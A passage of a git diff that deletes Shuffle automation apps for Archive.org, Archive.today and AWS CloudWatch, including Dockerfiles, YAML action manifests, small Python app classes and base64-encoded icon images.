lYsYMaaRlBmaAMIb5t9+o8GCg7QvtliR+w/dRt8WL3/zb2EqEtdeev1MrgQk0e4vW/wBO0h/DlaD9D7Hg/aC+o2xpnIR7j7eGBVM9UnvJ8Qn+iloPM5TllY9AELlF3rKB9vnu+wJRzdXBvJZRdYWuy6tMFtO5H4SGitMSrwEM3kweBI2A7PCrCNMcyVivnc8HjReJyXpgovhjNiLQVVnWP7AgtEFgSnl53goqv+9KD4pSMXMIQNIk7qiB0cAhAAvLG+BOEoIiw5gWDcxhZwqBq6ouoQppRL2ktc+4xfTHGHA4AKRRUaAOBZXdDzbIg6BR0aqDgvWEN2IGUikYRFEwfcApEPFcVIujrCkcBVxUnQNIqYU1wEGc84Nwg+vDZs2bNmzZs2bNmzZs2bNmzZs2bNmzZs2bNmqZfISqD/QSXkYSwX0twfXnTp06dOnTp06dOnTp06dOnTp06dOnTp06dO53B0ygRItX16FxBBIkLxgQECBAgQIECBAgQIECBAgQIECBAgQIECBAgQIECBuSG8AJAeukUYNV0chgTwePHjx48ePHjx48ePHjx48ePHjx48ePHjx48eP4b1USEH+p/wD/2SAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA= - diff --git a/archive-org/1.0.0/requirements.txt b/archive-org/1.0.0/requirements.txt deleted file mode 100644 index 01635895..00000000 --- a/archive-org/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -savepagenow==1.1.1 \ No newline at end of file diff --git a/archive-org/1.0.0/src/app.py b/archive-org/1.0.0/src/app.py deleted file mode 100644 index ded96fdc..00000000 --- a/archive-org/1.0.0/src/app.py +++ /dev/null @@ -1,38 +0,0 @@ -import time -import json -import socket -import asyncio -import requests -import savepagenow - -from walkoff_app_sdk.app_base import AppBase - -class ArchiveOrg(AppBase): - __version__ = "1.0.0" - app_name = "Archive.org" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.headers = {"Content-Type": "application/json"} - super().__init__(redis, logger, console_logger) - - - def archive_target(self, target): - - archive_url = savepagenow.capture_or_cache(target) - """ - Returns log of what was archived - """ - message = f"target {target} has been archived" - - # This logs to the docker logs - self.logger.info(message) - return archive_url[0] - -if __name__ == "__main__": - ArchiveOrg.run() diff --git a/archive-today/1.0.0/Dockerfile b/archive-today/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/archive-today/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/archive-today/1.0.0/api.yaml b/archive-today/1.0.0/api.yaml deleted file mode 100644 index aca4f9bf..00000000 --- a/archive-today/1.0.0/api.yaml +++ /dev/null @@ -1,27 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: Archive.today -description: Archive.Today app -environment: cloud -tags: - - archive -categories: - - archive -contact_info: - name: Peter Clemenko - url: https://github.com/peter-clemenko - email: pclemenkoiii@gmail.com -actions: - - name: archive_target - description: Archives the target URL - parameters: - - name: target - description: URL of the target to archive - required: true - schema: - type: string - returns: - schema: - type: string - example: "Google.com" -large_image: data:image/jpg;base64,iVBORw0KGgoAAAANSUhEUgAAAKUAAAClCAIAAACySaqNAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAA/USURBVHhe7Zt/TJvHGcePqUqoVKV0rSujlKZuqDQSqgwXCeEkKhjUuk43wJ5EAiNUo9SaSGgrnPQPHCEUo2iJo64QtFKClh8yBEXmR7e4qAInUogpa2KaBUrVkrjEzWKFqkWoakiVKbu79177tQ0xdK3b9Hk+Ovn13Xvvvffe9+65533fe5PufDdNEDD8SmwRGKDesEC9YYF6wwL1hgXqDQvUGxaoNyxQb1ig3rBAvWGBesMC9YYF6g0L1BsWqDcsUG9YoN6wQL1hgXrDAvWGBeoNC9QbFqg3LFBvWKDesEC9YYF6wwL1hgXqDQvUGxaoNyxQb1ig3rBAvWGBesMC9YYF6g0L1BsWqDcsUG9YoN6wQL1hgXrDAvWGBeoNC9QbFqg3LFBvWKDesEC9YYF6wwL1hgXqDQvUGxaoNyxQb1ig3rBAvWGBesPi56C3r2nFmqQVls5rIr4YwW5L0oo15u4ZEU8Ec5Pd9tYLIvIDcK3fzC62ZUTEEw2O77sx9hf9uor22dsi+gvgXtJbXdp257tpV6lKxH985m8n0pYkAhzfsFia3kFf58E95s2b6PTJQkaJeecx9+U5sZchzcEtI99MtFYUpK5Yk5r10g7nlNhJ5vwDx3ZsK3mSH/7kZsuOVm9wISMZPHNsRwk7PGnFJt02e+eE8hSR87c0ET7u8MzzfUoutmvprt93+0WcMjfZ3/Lyc1LJ2eue293UPzUrdi0CL1/XyP7aNrNqK/2G2cunW3dadBksXWoNT1DsimB2qqdpt5Ttyc27D56LuJwwswH3UbtcPXpRBQXVLZ2j4dONvWWk6alNPhFXMNKUTXe93L9IybFQC3n3cPOsNVfKularL9TpC7UaKUq09rOfytl67SzFUFauIup0mi13raqm9xLfNeyqTOP5iSZHcXiO1fuV8lhdWaVOTbf8LLlrWRIhaTXvSoWwcP24gSaZjp/n0UuuShpT1b8fqoMIvn3rFdmm73zldmyRpgBVRl64AuotNp+owELh6pE6uRq82rq6XqnAT30H8lk9aQnrWXqoqlVdwxElfNZcJvKxBtGvp3VQlTXsNLEkq3exbIW6DClKMx+XC5zcr2cZFEeJ0GtnmbefuhGVvmiIp/dcVz0rcb18tTx8O+yysDYl5W3XRaKkGSEbdg5Fntt3QMvSc3aeuionfjvspN2C1v+NrpssRT6WaGtODvMUGi55G/iBG2w+kRKl9/TXJ0tpVC4kFNyODTS51PUfKXrplIWfq3z/x6GK3Rhy1rDC1XVRx0YHbwPNRexnwyk33dWsPdS6+nfDDXLl5HY+JLT2kVDncztyWFLuG0eufxuVjRJSbvgwuyZiahn6WqTQcMm3L5+lqq3ytUvZVMqa0HDz/Z20MjEtcLcQz55fnBj5Tbq6stYmhgjnvjTTa5Wsxzk/U9hMhslaqU8R/xnzXucuaoXyDx+xGkW3ZYeXHbBXrdWumwooD8/aZz9UlJYsYqty63bV0e3FS/4FTSUhKc8X0wzBo16v0qSPehwXCanU6x/h0YvdtrYZ2gt7WkozQhVLSS/bt8e+gQQPvuO8LNKWRsDZ3E6rYzrQbDeEG0RTtNf5N6qQz/b2aWmamD/znmOU2rv9zr356vt4Es/Wym1PmGnfyG2tZoPNZklXNNuqrJpX2LUHxyfFPWralnIq+Myhfyqv9ZZ36ESQqKoKnpEbLT7x9M6pHnp/6Hq7QSkiIzk5OoWh0qYrugXlgvcg/TWXbBFGT+YRw+HJ3qGu0gwRp6jMeZFtkZyWUUg3t+b/K8VjSH7G+IaKBFvcw7dECp3PBo9SPWqKdVL1/Oc9Y7Qn/fGF3Ad4PESy1vgHWtXTno+W44FP+9wDdFNdUxR5mVRLc2UN3Rw95+WCT45SJYipVCfPfYKsYj5OQqwpOuzuvfJhdZaIyyQnPyT+CdQFJVVRnXv+gufoDFFXbslbKVKWwHL882/mZoNTI2cGOhr3mLce6BGpSp7RhAYxJ/jFZ2yTmRaZvCDRx9KLvv9B8W8RVuoKttKDDg5dEI0w7z1FRzOpNhWs4vFb/ikv3Vw/Yi8wbosK1hMsR+cnAbZZIsGr7KrNT6+LHVApj2rYPHJhcpr+zvg/Yd1Imy4clzBrn5JNegzzc7OzgbEzpztbqe+265BIlXlEZ6T+SvCE5wPRueeHPU1BkvWqftECF2IJeoeczF8//dDjBbrnLC83HfN+SZYg4Y9Oct4LVtrKBz1Sr5//wNsRpPOZXif0mAt+zjbBCa9nMCZMLGdkx+fR1HT6OzEv1URhdqO4X2xlbs94WvdsycpOWvX0Q49u0j73Uvnr7R2BW9HZyCp98XbakzpE557z9LdTv6q8MNIoxiOe3t/4mn5XYG7s9ifrqupsh44fGTo7dP3Gp9cHd+lEjp+W9fqt9ILbuUkX89mOF2W5ycoUPouXdSmczahQz73CH4Ab19ntp07Nz5jMa3Az/oO5QGf1CwWvH3PPp5ksOx3tbUPvu6/c+PTOZDO13lGkFLxAfWdh0mcvuNsIKaw0MaOyDOLoPdZhs41S57bZO9Z1eF91TWm+PiddnbKSLO0RY8rD3KCNB2JcrkCHcZPOuLuTWb//i6zCEjr5MZMuzWcbLEbuGHNWpaaz7u9ZltG+C489zu6mXJc+jh2+XwYmqZ9I0lMfpr8qzW/ZeUdizzsdUN5Ez556p9w5w25NP+x1tVjrKg36vPUa2ry0r0g5lCQ/o68U/srsOU8rIcYY/yAud9d7ZvKDCbrRGaLL9Q/2LjR/R5OcvZF5Ma7eU1Fu8GVvz2BgZOapjDUi4fuzwVBDXdeDHvcQM+ZZW3VK3ycrj/WGYJvb841IkZnp3Lbmyc3bdriWY9VXa43svqi9tT/6KH//iQ66MWdruaMondfz9gD1FpVEtdvkR8fYxrAxyp2cH3Sz0qJZqX+xkk6jztEL3mF6oKG8MMY/iMfd9VZpMpkj2tP33mSovW7PjXXvKf/zaRG9Oyn5Vez++/TLLzncoTE+O3HQesDNbt6Ko/3S70Oa3kzvhfqsVmrMY+azDcU2eq8fbC+vaAk/Ars9N/LWrjoX8U+nG5+N9rRj8U2FhmlaeS27/+7ZVWsbCEvu75caRGu3GoRbI533or3m9QG/bAuDA46odtOk87vvPrf7Sx5n3AqeaTH/id31LUCOnvorwb4Ddie95ywxrhbJyyB6PosKoac/JC03/HBNpa+31rGZo8glnqKI52tOv+JYEULP1yIeb+XWHLkiMix27HmnOSI96nlLOPib+UMrmne/XKYifNVrz5NElSogP8BS6xTPB6fvnLXy1IhnWNIZpWuv+rv0tGvJz9foecXMwpuOPV8j6jwdd6fls4TzRNRNU2mzs2tX2UcUBfLgOyA6dNXJ8JPHpYd4/tqaIue/ug5Z8jPUgRHq0/pJlmXvqUnPUMMrRnZz3O8ejfvkNs3U7r7y7t6aLQ9+fYY6xoHkvFLHu8PuN/OXO/csyur8cvZslRjNC81nD2jr3R7fSWtVnlQB79cP66oa2j7+d1d9Tpw7V3Wp7VSduPaO8QCftVdmvXpkcqzNYTFo5llpI0RbVbd/6OrwYXOkdaXnPX1+6M3txvXzrOnm06r2dY25d20Ruzk0zz+GXA2luWtnJmndxm+kPm91nj1/pb26rJA6xDOuM2w+VZL1onQHv930rHTPuTySqObiL3JPcLm7IGP3x290+feGbkOWQbzxjfzMGOs76om451weqPc9Anf6Zie6HW9NEMOusvA95/JAe35PQO8es8td0n+t/eyJuJ7HYuD4vidQZWSnU89dvb7I7m7+3mJTcHzDAsc3LFBvWPxc9R5tSdrWv/AzxZ8VbFnjT/bxwPcAxzcsEqV3eLyyF1OKNcV8cIivbGiIGCuepojEkSZ6YD9f+LwmKbw4V1oKHZEorVxOWmFparKEEunhUrYFv0iSDwntZfWUUpQ1b+oWVeXZfE2a2h7i0LEa8r2j/FBWJf55FLtqC8svlUCjEQX+BCRK75yNdtdVvjox4CcGIr1x+uJqT8PGXN5qWr7y0tvg0IXawlXrSmevRliirFlPhVvDXp/02htLeOPSVi7xSW9Q/M2mxjbWytf6ayoIf8tiIY1svRmFyqkbb2araf3NpCJbFkZmtCW1z8jX2vZqK2y0kJGm7PLMXlYsPZertkPOb6u4ahWF0Gzaevaqxur9bueii4pcxExr0lWkpn168ziv1XknqV1wMXkCSJg9T9OYHR7aatcCpNhiHj9Hh+zIoMNeqCWj52zEqpdW777UbBLdgmK18k+HWGIjy89osJSxl4DaquMG2yBtMlVZl/yF0eo0aalKcNjdo8jG02Y8fQOmYr6+fXWRtYH4Po8Y4rQmYi/R1n/XRo/NrQ8tfaE151uO6fhWJi0rZMA1vICdiCFTw99aslqZjXr2X1X2mnWhNSCJIGF6q/TFBtrK9LLJE1pN5rj/2ox/3KB5TNpLTSI3dMw80l08zfx47MsuU+wKwJCRXFFi4wn+KTGmo+ipYJ9i0KBrJD3hV9oUWhPxL0x4igk92GJon4j/vjwC5VW4asUXJJsdJNytE0ri/DX1JiM14/4pQjXWpBP/sNdFpP5OG4VbWhHY8GKEWoSafekP1UzWSRbV17TZIa/CF98tiEUEMUQs1o9YtqbSZIp/MjOd1loiXrRLr+EFsmFYqIuEuBaxaClMgzRBSGHxKeDHJHF6M3s73uZoZPaNad/nJpIJZVO7mCC50xRy2bj958aWsGmeIwy7z9NI2FygINjdJo1vWriYyImvo0LqFsy62P4qeQbMv4ty2WgX6enzhvZGzO6jJ5TjW2S75nW5DOZN0WOdTzHcdEtxBYpacc/xJ3LZEqg30eozB7iDxrRnjoxoL+b1+Pg3eanMz5I7vrlZM8jNL/Wz5OFoaiAOZhKZj1bPpnw+kfNja4jFaR7wf8Em19bjpFxDE89pxPzNviX2ZkrmtMTW0Bv1UbFyLy+ZTbHC/g9u9Crme3vmVZaNOZjcDjGnQfLPVWUO6meU8JoY5S+kFKwucp3N5LWiE4rVSz04sSOh3EvPz+mwcKSfX87339R7z3YVL+uQu8BK8782zfvZvUoix3eiCHtw7J7qBxL7FwK+H4PFL3F8I4uDesMC9YYF6g0L1BsWqDcsUG9YoN6wQL1hgXrDAvWGBeoNC9QbFqg3LFBvWKDesEC9YYF6wwL1hgXqDQvUGxaoNyxQb1ig3rBAvWGBesMC9YYF6g0L1BsWqDcsUG9YoN6wQL1hgXrDAvWGBeoNC9QbFqg3LFBvWKDesEC9YYF6wwL1hgXqDQvUGxaoNyxQb1ig3rBAvWGBesMC9YYF6g0L1BsWqDcsUG9YoN6wQL1hgXrDAvWGBeoNC9QbFqg3LFBvWKDesEC9YYF6wwL1hgQh/wOtSNjE2d0CpgAAAABJRU5ErkJggg== diff --git a/archive-today/1.0.0/requirements.txt b/archive-today/1.0.0/requirements.txt deleted file mode 100644 index 150b17f3..00000000 --- a/archive-today/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -archiveis==0.0.9 \ No newline at end of file diff --git a/archive-today/1.0.0/src/app.py b/archive-today/1.0.0/src/app.py deleted file mode 100644 index ac044e60..00000000 --- a/archive-today/1.0.0/src/app.py +++ /dev/null @@ -1,39 +0,0 @@ -import time -import json -import socket -import asyncio -import requests -import archiveis - -from walkoff_app_sdk.app_base import AppBase - -class ArchiveToday(AppBase): - __version__ = "1.0.0" - app_name = "Archive.today" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.headers = {"Content-Type": "application/json"} - super().__init__(redis, logger, console_logger) - - - def archive_target(self, target): - archive_url = archiveis.capture(target) - """ - Returns log of what was archived - """ - message = f"target {target} has been archived" - - # This logs to the docker logs - self.logger.info(message) - return archive_url - -# return target - -if __name__ == "__main__": - ArchiveToday.run() diff --git a/aws-cloudwatch/1.0.0/Dockerfile b/aws-cloudwatch/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-cloudwatch/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-cloudwatch/1.0.0/README.md b/aws-cloudwatch/1.0.0/README.md deleted file mode 100644 index 09d6b9c1..00000000 --- a/aws-cloudwatch/1.0.0/README.md +++ /dev/null @@ -1,32 +0,0 @@ -## AWS Cloudwatch logs -AWS Cloudwatch app to interact with Amazon CLoudswatch from Shuffle. For more information check out [Cloudwatch logs documentation](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html) - -## Actions -Parameters written in **Bold** are required.
-access_key, secret_key and region are used for authentication. - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | create_log_group | Creates a log group with the specified name | **log_group_name**, kms_key_id, tags -|2 | delete_log_group | Delete a log group with the specified name | **log_group_name** -|3 | get_log_events | Lists log events from the specified log stream | **log_group_name**, **log_stream_name**, limit, **start_time**, **end_time**, **start_from_head**,next_token -|4 | start_query | Schedules a query of a log group using CloudWatch Logs Insights. You specify the log group and time range to query and the query string to use. | log_group_name, log_group_list, limit, **start_time**, **end_time**, **query** -|5 | get_query_results | Only the fields requested in the query are returned, along with a @ptr field, which is the identifier for the log record. You can use the value of @ptr in a GetLogRecord operation to get the full log record. | **query_id** -|6 | get_log_record | Retrieves all of the fields and values of a single log event. | **log_record_pointer** -|7 | assign_retention_policy | Sets the retention of the specified log group. A retention policy allows you to configure the number of days for which to retain log events in the specified log group. | **log_group_name**, **retention_days** -|8 | create_export_task | Creates an export task, which allows you to efficiently export data from a log group to an Amazon S3 bucket. | **log_group_name**, log_stream_name_prefix, task_name, **from_time**, **to_time**, **destination**,destination_prefix - -## Requirements - -1. AWS account. -2. Make sure you have edequate permissions. Refer [this](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/permissions-reference-cwl.html) for more information on persmissions required. -3. Access key, Secret key and region of the user. - -- __How to find access key & secret key ?__ -1. Open https://console.aws.amazon.com/ -2. From navbar click on user dropwodown → My Security Credentials. -3. Open the Access keys tab, and then choose Create access key. -4. To see the new access key, choose Show. Your credentials resemble the following: - - Access key ID: AKIAIOSFODNN7EXAMPLE - - Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - diff --git a/aws-cloudwatch/1.0.0/api.yaml b/aws-cloudwatch/1.0.0/api.yaml deleted file mode 100644 index 10dad9ce..00000000 --- a/aws-cloudwatch/1.0.0/api.yaml +++ /dev/null @@ -1,279 +0,0 @@ -app_version: 1.0.0 -name: AWS cloudwatch -description: An app to interact with Aws cloudwatch -contact_info: - name: "@davedhaval" - url: https://infopercept.com - email: dhavald@infopercept.com -tags: - - Assets -categories: - - SIEM -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: create_log_group - description: Creates a log group with the specified name - parameters: - - name: log_group_name - description: The name of the log group. must be unique within a region - required: true - multiline: false - example: 'loggroup_!' - schema: - type: string - - name: kms_key_id - description: The Amazon Resource Name (ARN) of the CMK to use when encrypting log data - required: false - multiline: false - example: '10.0.0.0' - schema: - type: string - - name: tags - description: The key-value pairs to use for the tags - required: false - multiline: true - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: delete_log_group - description: delete a log group with the specified name - parameters: - - name: log_group_name - description: The name of the log group. must be unique within a region - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - returns: - schema: - type: string - - name: get_log_events - description: Lists log events from the specified log stream - parameters: - - name: log_group_name - description: The name of the log group. - required: true - multiline: false - example: 'log_group_1' - schema: - type: string - - name: log_stream_name - description: The name of the log stream. - required: true - multiline: false - example: 'log_stream_1' - schema: - type: string - - name: limit - description: The maximum number of log events returned. If you don't specify a value, the maximum is as many log events as can fit in a response size of 1 MB, up to 10,000 log events. - required: false - multiline: false - example: '123' - schema: - type: string - - name: start_time - description: The start of the time range. - required: true - multiline: false - example: '10/11/2021 11:00AM' - schema: - type: string - - name: end_time - description: The end of the time range. - required: true - multiline: false - example: '20/11/2021 11:00AM' - schema: - type: string - - name: start_from_head - description: If the value is true, the earliest log events are returned first. If the value is false, the latest log events are returned first. The default value is false. - required: true - options: - - True - - False - multiline: false - example: 'False' - schema: - type: string - - name: next_token - description: The token for the next set of items to return. (You received this token from a previous call. - required: false - multiline: false - example: 'string' - schema: - type: string - - name: start_query - description: Schedules a query of a log group using CloudWatch Logs Insights. You specify the log group and time range to query and the query string to use. - parameters: - - name: log_group_name - description: The name of the log group. - required: false - multiline: false - example: 'test_loggroup' - schema: - type: string - - name: log_group_list - description: The list of log groups to be queried. You can include up to 20 log groups. Enter multiple loggroup name seperated by ',' . - required: false - multiline: false - example: 'test_loggroup1,test_loggroup2' - schema: - type: string - - name: limit - description: The maximum number of log events returned. If you don't specify a value, the maximum is as many log events as can fit in a response size of 1 MB, up to 10,000 log events. - required: false - multiline: false - example: '123' - schema: - type: string - - name: start_time - description: The start of the time range. - required: true - multiline: false - example: '10/11/2021 11:00AM' - schema: - type: string - - name: end_time - description: The end of the time range. - required: true - multiline: false - example: '20/11/2021 11:00AM' - schema: - type: string - - name: query - description: The query string to use. - required: true - multiline: true - example: 'test_loggroup' - schema: - type: string - returns: - schema: - type: string - - name: get_query_results - description: Only the fields requested in the query are returned, along with a @ptr field, which is the identifier for the log record. You can use the value of @ptr in a GetLogRecord operation to get the full log record. - parameters: - - name: query_id - description: The ID number of the query. - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - returns: - schema: - type: string - - name: get_log_record - description: Retrieves all of the fields and values of a single log event. - parameters: - - name: log_record_pointer - description: The pointer corresponding to the log event record you want to retrieve. You get this from the response of a GetQueryResults operation. - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - returns: - schema: - type: string - - name: assign_retention_policy - description: Sets the retention of the specified log group. A retention policy allows you to configure the number of days for which to retain log events in the specified log group. - parameters: - - name: log_group_name - description: The name of the log group - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - - name: retention_days - description: The number of days to retain the log events in the specified log group. - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - returns: - schema: - type: string - - name: create_export_task - description: Creates an export task, which allows you to efficiently export data from a log group to an Amazon S3 bucket. - parameters: - - name: log_group_name - description: The name of the log group - required: true - multiline: false - example: 'test_loggroup' - schema: - type: string - - name: log_stream_name_prefix - description: Export only log streams that match the provided prefix. If you don't specify a value, no prefix filter is applied. - required: false - multiline: false - example: '' - schema: - type: string - - name: task_name - description: The name of the export task. - required: false - multiline: false - example: 'export_task_1' - schema: - type: string - - name: from_time - description: The start of the time range. - required: true - multiline: false - example: '10/11/2021 11:00AM' - schema: - type: string - - name: to_time - description: The end of the time range. - required: true - multiline: false - example: '20/11/2021 11:00AM' - schema: - type: string - - name: destination - description: The name of S3 bucket for the exported log data. The bucket must be in the same Amazon Web Services region. - required: true - multiline: false - example: '20/11/2021 11:00AM' - schema: - type: string - - name: destination_prefix - description: The prefix used as the start of the key for every object exported. If you don't specify a value, the default is exportedlogs . - required: false - multiline: false - example: '20/11/2021 11:00AM' - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACWAAAAqfCAYAAADZYb0/AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAQDgAAEA4BNRRl5AAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAACAASURBVHic7NxNj11Vvuf5/9oRlku2oGYMe9DTuiX1pB5eQA1a9/bYQ7IjHCiEeA9dIVXVtaPyJJZKtynnhrTJOLYLiJbwNSkGFhEcmSg8OkI0V2RyyQegnUkmZAKGAGNHnLN6cG+Qzkwe/BA71lnnfD7DvaW1fi/gq5UCAACA9NcLf/U3R47O/af/5a8ePDQ/1/y3I+PtcyvLwy9KDwMAAAAAACZbKj0AAACgpL9Z/Nf/Icb5v0SKf/svjs7F//q//cu9X59EiudGOU4/vnTltZIbAQAAAACAySXAAgAAZtLt4dXetz8LsL6SIg1z5P5u7PRPLV396ECHAgAAAAAAE02ABQAAzJSvC6/2fFOAdZsvI+KF3DRtb2GwESlyZ0MBAAAAAIAqCLAAAICZ8G3h1Z47CLBuk95Kkc+Od3bP9h599YN9mgkAAAAAAFRGgAUAAEy1Owmv9txdgPWVW5HS5cixdvRaen5lZbB7b0sBAAAAAIAaCbAAAICpdDfh1Z57DLD+KMevc4pzkeOHvUeu/OreDwIAAAAAAGohwAIAAKbKvYRXe+47wPqjceS8GU3q7z6ws37q2NUb+3EoAAAAAAAweQRYAADAVLif8GrPPgZYt/s4Uqzncf6/e4+88v/u9+EAAAAAAEBZAiwAAKBq+xFe7ekowPpKijSMHO2RW+nCymOD7c4uAgAAAAAADowACwAAqNJ+hld7ug6wbvNZjnwxmrm13uLgpYO4EAAAAAAA6IYACwAAqEoX4dWeAwywbvfTFPHjuSafObH4yocHfTkAAAAAAHB/BFgAAEAVugyv9hQKsPbcjIhLOVL/3QcfenH92Pqo1BAAAAAAAODOCbAAAICJdhDh1Z7CAdbtruWI8znm//sPljbfLT0GAAAAAAD4ZgIsAABgIh1keLVnggKsPePIeTNS014fbV9sl4c7pQcBAAAAAAB/SoAFAABMlBLh1Z4JDLBu99uU4rlxbp7sLQ3+ofQYAAAAAADgnwiwAACAiVAyvNoz4QHWV1KkYeRox4cPn+89fPnz0nsAAAAAAGCWCbAAAICiJiG82lNLgHWbTyPFM000/dXjg63SYwAAAAAAYBYJsAAAgCImKbzaU2GAdbs3U8Ta3KFDT5343sYfSo8BAAAAAIBZIcACAAAO1CSGV3sqD7D23IyIS7lp2t7CYCNS5NKDAAAAAABgmgmwAACAAzHJ4dWeKQmwbvd2ynEhjcdnVpe33is9BgAAAAAAppEACwAA6FQN4dWeKQyw9owi55cjNe3Ra+n5lZXBbulBAAAAAAAwLQRYAABAJ2oKr/ZMcYD1lRTx/jhiLY3mn/z+8uYvSu8BAAAAAIDaCbAAAIB9VWN4tWcWAqzb5Ih4NeW0dmS8fW5lefhF6UEAAAAAAFAjARYAALAvag6v9sxYgHW7TyLFc6Mcpx9fuvJa6TEAAAAAAFATARYAAHBfpiG82jPDAd